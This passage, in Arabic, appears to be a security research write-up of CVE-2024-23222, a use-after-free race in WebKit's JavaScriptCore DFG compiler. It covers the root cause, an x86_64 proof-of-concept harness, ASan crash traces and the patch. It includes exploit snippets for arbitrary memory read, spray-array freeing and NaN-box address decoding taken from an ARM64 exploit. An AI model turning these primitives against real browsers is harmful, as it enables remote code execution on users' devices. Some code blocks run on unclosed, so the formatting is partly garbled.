قيمة `JSValue` المُرجَعة غير محمية. إذا كانت تحتوي على مؤشر لخلية، فلا شيء يمنع تحرير تلك الخلية بين تحرير القفل ولحظة استخدامها من قبل المتصل.

### 2.3 مسارات المستهلك للقيمة القديمة

يمكن استهلاك قيمة `JSValue` المُرجَعة عبر مسارين. إذا أصبحت الخلية قديمة أو غير صالحة عبر نافذة السباق، فقد يتسبب أي من المسارين في خطأ.

**المسار أ: `freeze()` على خيط المترجم.** المستهلك الأكثر مباشرة هو `Graph::freeze()`، والذي يستدعيه المتصل فورًا على القيمة المُرجَعة:```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp
FrozenValue* Graph::freeze(JSValue value)
{
    if (UNLIKELY(!value))
        return FrozenValue::emptySingleton();

    // This dereferences value as a cell:
    RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
    // ...
    FrozenValue frozenValue = FrozenValue::freeze(value);
    // ...
}

إذا تم تحرير الخلية بين عودة `tryGetConstantProperty()` وتنفيذ `freeze()`، فإن `value.asCell()->structure()` يُمثّل استخدامًا بعد التحرير.

**المسار ب: تعليم GC أثناء النافذة الموسعة.** في البنية البحثية، يدخل سلسلة المترجم نقطة أمان DFG خام داخل `tryGetConstantProperty()` بعد قراءة الخاصية ولكن قبل إعادتها إلى المتصل. يسمح ذلك للسلسلة الرئيسية بتشغيل GC بينما لا تزال قيمة الخلية القديمة موجودة كمحلي أصلي خام في جانب المترجم. في إثبات المفهوم الحالي (PoC) على نظام Linux x86_64، يحدث الانهيار المعاد التحقق منه بشكل موثوق لاحقًا في تعليم GC، حيث يقوم `SlotVisitor` في النهاية بإلغاء الإشارة إلى خلية قديمة غير صالحة أثناء عبور مراجع الكومة. يُثبت كومة الانهيار الحالية أن آلية GC اللاحقة تستهلك القيمة القديمة؛ لكنها لا تثبت بذاتها فتحة الحاوية الدقيقة التي تم الوصول منها إلى ذلك المؤشر القديم.

### 2.4 مواقع الاستدعاء

مكانان في أنبوب DFG يمرران نتيجة `tryGetConstantProperty()` إلى `freeze()` دون شرط:

**ByteCodeParser** — أثناء التخفيض الأولي من الكود البايت إلى DFG-IR:```cpp
// Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
JSValue constant = m_graph.tryGetConstantProperty(
    base->asJSValue(),
    *m_graph.addStructureSet(variant.structureSet()),
    variant.offset());
if (constant)
    return weakJSConstant(constant);  // → m_graph.freeze(constant)

موقع استدعاء ثالث في **AbstractInterpreter** يستدعي أيضًا `freeze()`، ولكن فقط عندما تكون القيمة المُرجعة هي `GetterSetter*`:```cpp
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
if (result && jsDynamicCast<GetterSetter*>(result))
    setConstant(node, *m_graph.freeze(result));

قيمة `config.g = -NaN` تعمل كقناة جانبية لمستوى JIT: `Math.min(-NaN, -NaN)` ينتج أنماط بت مختلفة في المفسر مقارنة بـ JIT، يمكن ملاحظتها من خلال تراكب `Int32Array`.

**غلاف استدعاء JIT.** دالة `new Function()` مع 7,200 تكرار من حشو الكود الميت (`x += 1;` داخل `if(false)`) تتحكم في حجم منطقة كود JIT. مسار الكود الحي هو موزع دوال بسيط:```javascript
const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
const jitCallWrapper = new Function(
    'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
    `if(false) { let x = 0; ${deadCodePadding} }
     return func(arg0, arg1, arg2, arg3, arg4);`
);

**قراءة عشوائية.** بعد إفساد الهيكل، يقرأ `jitReadFn` `arr[0]` من خلال مؤشر الفراشة المُفسد، ثم يقسم على `5e-324` (`Number.MIN_VALUE`) لعكس عملية NaN-boxing واستخراج عنوان خام:```javascript
const jitReadFn = (state, arr, targetAddr) => {
    state.callFn(corruptFn, state, targetAddr);
    const readValue = arr[0];
    return readValue / 5e-324;  // decode address from NaN-boxed float64
};

السلسلة: تقرأ `apply()` الخصائص 0–8. قراءة الفهرس 8 تُشغّل المُحصل (getter)، الذي يُحرر مصفوفات الرش (spray arrays). ثم تستدعي `inlinedFunction` الدالة `jitTrigger` مع `arguments[3]` (الذي هو الآن `sprayArrays[3001]` المُحرر). تُفسر الدالة `jitTrigger` المُجمّعة بتقنية JIT الذاكرة المُحررة كقيم float64، وتفك شيفرة العناوين عبر `/ 5e-324`، وتحل مؤشرات مثيل WebAssembly لتهيئة إجراء قراءة/كتابة عشوائي.

### 3.3 لماذا هذا خاص بـ ARM64

خاصيتان لـ ARM64 تجعلان هذا الاستغلال غير قابل للنقل إلى x86_64.

**ترتيب الذاكرة.** السباق متعدد الهياكل S1→S2→S3 الموصوف في تصحيح الالتزام (patch commit) يعتمد على ضعف ترتيب الذاكرة في ARM64. عندما يكتب الخيط الرئيسي قيمة خاصية جديدة ثم يحدد هيكلًا جديدًا، يمكن لـ ARM64 إعادة ترتيب تلك التخزينات. قد يلاحظ خيط المترجم الهيكل الجديد لكنه يقرأ قيمة الخاصية القديمة (الراكدة). يضمن ترتيب التخزين الكلي (TSO) في x86_64 أنه إذا كان تخزين الهيكل مرئيًا، فإن كل تخزين سابق — بما في ذلك كتابة الخاصية — يكون مرئيًا أيضًا. الآلية المحددة لإعادة ترتيب الذاكرة التي يعتمد عليها سباق طي الثابت متعدد الهياكل لا تنطبق تحت TSO، ولم يُلاحظ ظهور هذا السباق على x86_64.

**تخطيط صندوق NaN (NaN-boxing).** يكتب الاستغلال قيم float64 مصنوعة خصيصًا إلى خصائص الكائن، مستغلًا حقيقة أنه على ARM64، تتداخل الأنماط البتية لتلك الأعداد المضاعفة مع رؤوس خلايا JSC (معرفات الهيكل، مؤشرات الفراشة) في تمثيل صندوق NaN. بينما تستخدم x86_64 JSC نفس مخطط صندوق NaN، فإن ترميز معرف الهيكل المحدد وتخطيط المؤشر يختلفان بما يكفي بحيث لا تنتج تقنية التلاعب بالنوع (type-punning) الخاصة بـ ARM64 تلفًا صالحًا في الهيكل على x86_64.

---

## 4. التكيف مع x86_64

### 4.1 لماذا يفشل هجوم ARM64 على x86_64

يتطلب السباق متعدد الهياكل أن يقرأ خيط المترجم قيمة خاصية من هيكل وسيط (S2) بينما تحتوي مجموعة الهياكل المُجمعة على {S1, S3} فقط. على x86_64، يمنع TSO هذا: قفل الخلية في `tryGetConstantProperty()` يوفر تسلسلًا، وحتى بدون القفل، يضمن ترتيب التخزين زوجًا متناسقًا (هيكل، قيمة). إذا رأى خيط المترجم الهيكل S1، فإنه يرى قيمة S1. إذا رأى S2، يفشل فحص الهيكل (S2 ليس في المجموعة). نافذة إعادة ترتيب التخزين المحددة التي يفتحها الترتيب الضعيف لـ ARM64 لا تنطبق تحت TSO.

### 4.2 البديل: خلية مُحررة أثناء التجميع

يستغل الإثبات العملي (proof of concept) لـ x86_64 نتيجة مختلفة لنفس TOCTOU. بدلاً من جعل المترجم يطوي قيمة من الهيكل الخطأ، يتسبب في احتفاظ المترجم بقيمة `JSValue` مخزنة للخلية (stale) تصبح غير صالحة عبر نافذة السباق الموسعة.

التسلسل:

1. تقرأ `tryGetConstantProperty()` خاصية ذات قيمة خلية تحت قفل الخلية.
2. يُحرر القفل. أصبح مؤشر الخلية الآن `JSValue` خام على مكدس C++ الأصلي لخيط المترجم.
3. يستبدل الخيط الرئيسي الخاصية (`state.val = 0`)، مما يزيل المرجع الأخير لجافا سكريبت إلى الخلية.
4. يُطلق الخيط الرئيسي تجميع القمامة (GC).
5. **لا** يقوم GC بمسح مكدس خيط المترجم. لا تحصل خيوط مترجم DFG أبدًا على `JSLock` وبالتالي لا يتم تسجيلها أبدًا في مجموعة خيوط الآلة الخاصة بـ GC:```cpp
// Source/JavaScriptCore/runtime/JSLock.cpp:154-160
// Inside didAcquireLock(), called when acquiring JSLock:
if (thread.uid() != m_lastOwnerThread) {
    m_lastOwnerThread = thread.uid();
    if (m_vm->heap.machineThreads().addCurrentThread()) {
        // ...
    }
}
// DFG compiler threads never acquire JSLock.
// Their stacks are never scanned by GC.

`state.val` تحتوي على الخلية المستهدفة. `Object.seal()` تثبت الهيكل بحيث يمكن لمُحسِّن DFG التعامل مع `state` كثابت معروف.

**وظيفة الفحص.** وظيفة مولدة ديناميكيًا تقرأ `state.val`. عندما يُجمِّع محسِّن DFG هذه الوظيفة، يحاول طيّ الوصول إلى الخاصية كثابت، والدخول في `tryGetConstantProperty()`:```javascript
let probe = new Function(
    'state',
    'const v0 = state.val; return (v0 ? 1 : 0);'
).bind(null, state);

**التحرير والجمع.** بمجرد أن يقرأ خيط مترجم DFG الخلية (ينام البناء المزوَّد بالأدوات هنا)، يقوم الخيط الرئيسي بإسقاط المرجع وتشغيل GC. منطق الحزام الفعلي هو مُعَوَّض، لكن الشكل الافتراضي للعمل هو:```javascript
state.val = 0;    // remove the JS reference to the target cell
probe = null;     // drop the probe closure

burnInterpreterRegisters(SCRUB_ROUNDS);

Promise.resolve().then(() => {
    burnInterpreterRegisters(SCRUB_ROUNDS);
    runGcSequence();      // repeated GC passes plus allocation pressure
});
drainMicrotasks();

`burnInterpreterRegisters()` هي دالة رقمية متكررة تقوم بالكتابة فوق فتحات سجل المفسر على مكدس الخيط الرئيسي، مما يقلل من فرصة أن يجد فحص المكدس التحفظي مؤشرًا قديمًا إلى الخلية المستهدفة.

### 5.2 هندسة المحرك

يقوم الإصدار البحثي بتعديل `tryGetConstantProperty()` في `DFGGraph.cpp`. بعد تحرير قفل الخلية وقبل أن تعود الدالة، يقوم التجهيز بما يلي:

1. يكتب اختياريًا ملف إشارة (للمزامنة من جانب JS؛ معطل في أفضل تكوين حالي).
2. يدخل في نقطة أمان `Safepoint` خام من DFG، والتي تحرر قفل `m_rightToRun` الخاص بخيط المترجم. يسمح هذا لمجمع القمامة بالمتابعة دون انتظار خيط المترجم.
3. ينام لمدة قابلة للتكوين (الافتراضي: 500 مللي ثانية).
4. عند الاستيقاظ، يعاود الحصول على `m_rightToRun` ويتحقق مما إذا كانت خطة التجميع قد ألغيت.```cpp
// DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
if (result.isCell()) {
    Safepoint::Result safepointResult;
    {
        // Raw Safepoint — does NOT register Graph as a Scannable.
        // GC will not visit the Graph's frozen values during this window.
        Safepoint safepoint(m_plan, safepointResult);
        safepoint.begin();          // releases m_rightToRun
        usleep(tgcpSleepUsec());    // default: 500,000 µs
    }                               // destructor re-acquires m_rightToRun

    if (safepointResult.didGetCancelled())
        return JSValue();           // plan was cancelled during sleep
}
return result;  // caller calls freeze(result)

**شرح الأعلام:**

| العلم | الغرض |
|------|---------|
| `--useConcurrentJIT=true` | تفعيل التجميع DFG الخلفي (السباق يتطلب خيطين) |
| `--thresholdForOptimizeAfterWarmUp=20` | خفض عتبة الترقية إلى DFG بحيث يبدأ التجميع بعد تسخين بسيط |
| `--thresholdForJITAfterWarmUp=5` | خفض عتبة التجميع الأساسي لـ JIT |
| `--thresholdForFTLOptimizeAfterWarmUp=1000000` | منع FTL من التنافس مع DFG؛ الإبقاء على التجميع في طبقة DFG |
| `JSC_TGCP_SLEEP_USEC=500000` | نافذة سباق 500 مللي ثانية في البناء المزود بالأدوات |
| `JSC_TGCP_SIGNAL_PATH=''` | تعطيل ملف الإشارة (مزامنة زمنية فقط) |
| `ASAN_OPTIONS=...quarantine_size_mb=256` | منطقة عزل كبيرة تمنع إعادة استخدام الذاكرة المحررة فورًا |

أعلام التدرج مهمة جدًا. بدونها، يتغير جدول JIT بشكل كافٍ بحيث يخرج التجميع وإصدار الخيط الرئيسي عن المحاذاة.

---

## 6. تحليل الانهيار

### 6.1 انهيار تعليم GC

الانهيار الأساسي القابل للتكرار يحدث أثناء جمع القمامة، عندما يحاول `SlotVisitor` الخاص بـ GC تعليم خلية قديمة. تشغيل كامل نموذجي يبدو كالتالي:```text
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
[clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
[tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
==28622==The signal is caused by a READ memory access.
    #0  WTF::Dependency::loadAndFence<unsigned int>()
    #1  JSC::MarkedBlock::aboutToMark(unsigned int)
    #2  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
    #3  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
    #4  JSC::SlotVisitor::appendHidden(...)
    #5  JSC::SlotVisitor::appendValuesHidden(...)
    #6  JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
    #7  JSC::JSFinalObject::visitChildren(...)
    #8  JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
    #9  JSC::SlotVisitor::drain(...)
    #10 JSC::SlotVisitor::drainFromShared(...)
    #11 JSC::Heap::runBeginPhase(JSC::GCConductor)
    #12 WTF::SharedTaskFunctor<...>::run()
    #13 WTF::ParallelHelperClient::runTask(...)
    #14 WTF::ParallelHelperPool::Thread::work()

في مرحلة ما خلال ذلك التجوال، يستقبل `appendHiddenUnbarriered` قيمة `JSValue` خلوية قديمة ويعاملها كخلية حية.```cpp
// Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
MarkedBlock& block = cell->markedBlock();
dependency = block.aboutToMark(m_markingVersion);

يقرأ `loadAndFence` من عنوان `MarkedBlock` غير الصالح (`0x180000008020`)، مما يتسبب في SEGV.

### 6.2 متغير التعطل `freeze()`

تحت ظروف توقيت مختلفة، ينتج نفس TOCTOU تعطلًا مباشرًا على مؤشر ترابط عامل برنامج التحويل DFG، في مسار `freeze()`:```
    #0  ClassInfo::isSubClassOf()
    #1  JSCell::inherits()
    #2  jsDynamicCast<CodeBlock, JSCell>()
    #3  Graph::freeze(JSValue)
    #4  ByteCodeParser::weakJSConstant()
    #5  ByteCodeParser::load<GetByVariant>()

The `[tgcp] HIT` line confirms that `tryGetConstantProperty()` successfully constant-folded the target property as a cell value. The `RACE` line shows the compiler thread entering the widened window. The `WAKE` line shows it resuming. The ASan diagnostic reports the cell as "accessible" — ASan does not see a simple redzone violation — but the cell's internal pointers (structure ID, `MarkedBlock` back-pointer) are stale, causing the crash when JSC's own code tries to use them.

---

## 7. أدوات البحث

### 7.1 ما هو اصطناعي

يعدل بناء البحث دالة `tryGetConstantProperty()` بثلاث طرق:

- `usleep()` لمدة 500 مللي ثانية يوسع نافذة السباق. المحرك الأساسي لا يحتوي على نوم هنا؛ النافذة الطبيعية بين تحرير قفل الخلية واستدعاء `freeze()` هي نانوثانية.
- يتم إدخال `Safepoint` خام دون تسجيل `Graph` كـ `Scannable`. نقاط الأمان الإنتاجية (عبر `GraphSafepoint`) تضيف `Graph`، مما يجعل GC يزور جميع القيم المجمدة. نقطة الأمان الخام تجعل الخلية غير المجمدة غير مرئية لـ GC.
- متغيرات البيئة (`JSC_TGCP_SLEEP_USEC`، `JSC_TGCP_SIGNAL_PATH`) تتحكم في مدة النوم وملف إشارة اختياري.

### 7.2 ما ليس اصطناعياً

الانهيار نفسه يأتي من مسارات كود JSC غير المعدلة:

- `JSFinalObject::visitChildrenImpl` و `SlotVisitor::appendHiddenUnbarriered` هما منطق وضع علامات GC الأساسي.
- `Graph::freeze()` و `FrozenValue::freeze()` هما منطق مترجم DFG الأساسي.
- لا يتم استخدام `__asan_poison_memory_region()` أو أي تلف يدوي آخر للذاكرة.
- لا يتم إدخال أي مسبار "إلغاء الإشارة إلى المؤشر القديم هنا" صريح في مسار الانهيار.
- يستخدم تسخير JavaScript فقط واجهات برمجة تطبيقات JSC العامة ووحدات `jsc` المضمنة (`optimizeNextInvocation`، `numberOfDFGCompiles`، `fullGC`، `drainMicrotasks`).
- خيوط مترجم DFG لا يتم مسحها ضوئيًا بواسطة GC حقًا - هذا سلوك إنتاجي، وليس أثرًا بحثيًا.

### 7.3 التقييم

نافذة السباق الطبيعية ضيقة جدًا لإعادة إنتاج موثوقة على x86_64 بدون أدوات. على ARM64، يعطي ترتيب الذاكرة الضعيف للاستغلال الأصلي نافذة طبيعية أوسع بكثير - يمكن إعادة ترتيب تخزين البنية والقيمة، لذلك يمكن لخيط المترجم ملاحظة حالة غير متناسقة دون أي مساعدة توقيت اصطناعية.

الاستغلال الإنتاجي الافتراضي على x86_64 سيحتاج إما إلى طريقة لتعليق خيط المترجم عند النقطة الحرجة (مثل بحث بطيء في البنية، قفل متنازع عليه، أو شكل رسم بياني مرضي يؤخر `freeze()`) أو نهج إحصائي مع العديد من محاولات التجميع. الأدوات تحل محل هذا المطلب بنوم حتمي.

---

## 8. التصحيح

إصلاح WebKit commit `64714692967ad278155fcae66c5cb0f853b3bf34` بواسطة Yusuke Suzuki (تمت مراجعته بواسطة Mark Lam) يصلح الثغرة.

يقدم الإصلاح فئة جديدة، `DesiredObjectProperties`، التي تسجل `(JSObject*, PropertyOffset, JSValue, Structure*)` tuples كلما قام مترجم DFG بطي ثابت لتحميل الخاصية. بعد اكتمال التجميع، يعيد `Plan::isStillValidOnMainThread()` قراءة هذه الخصائص على الخيط الرئيسي ويقارنها بالقيم المسجلة. إذا كان أي tuple قديماً - تغيرت بنية الكائن، أو اختلفت قيمة الخاصية - يتم تجاهل الخطة المترجمة قبل أن تتمكن من التنفيذ.

هذا يحول TOCTOU إلى فحص ذري: يتم التحقق من لقطة المترجم عند نقطة مزامنة (الإنهاء على الخيط الرئيسي) قبل تثبيت الكود المحسن. يمكن أن يحدث `freeze()` UAF أثناء التجميع، ولكن الكود الناتج لا يُستخدم أبدًا.

بالنسبة لمجموعات الهياكل المتعددة، ترفض `tryGetConstantProperty()` المعدلة أيضًا طي الثابت تمامًا عندما يكون `structureSet.size() > 1` وليس كل الهياكل تحت المراقبة النشطة. هذا يلغي هجوم الانتقال العابر S1→S2→S3 من المصدر.

---

## 9. الملفات

| الملف | الوصف |
|------|-------------|
| `toctou_clean_asan_v2.js` | إثبات المفهوم لجافا سكريبت |
| `DFGGraph.cpp` | الوظيفة المعرضة (`tryGetConstantProperty`)، `freeze()`، وأدوات البحث |
| `DFGFrozenValue.h` | `FrozenValue::freeze()` — نقطة إلغاء الإشارة إلى الخلية |
| `DFGByteCodeParser.cpp` | موقع استدعاء `weakJSConstant()` |
| `DFGConstantFoldingPhase.cpp` | موقع استدعاء `emitGetByOffset()` |
| `DFGAbstractInterpreterInlines.h` | موقع استدعاء المفسر المجرد |
| `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` — موقع انهيار وضع علامات GC |
| `MarkedBlock.h` | `aboutToMark()` — حيث يحدث SEGV |
| `JSLock.cpp` | `didAcquireLock()` — يُظهر أن خيوط DFG ليست مسجلة لدى GC |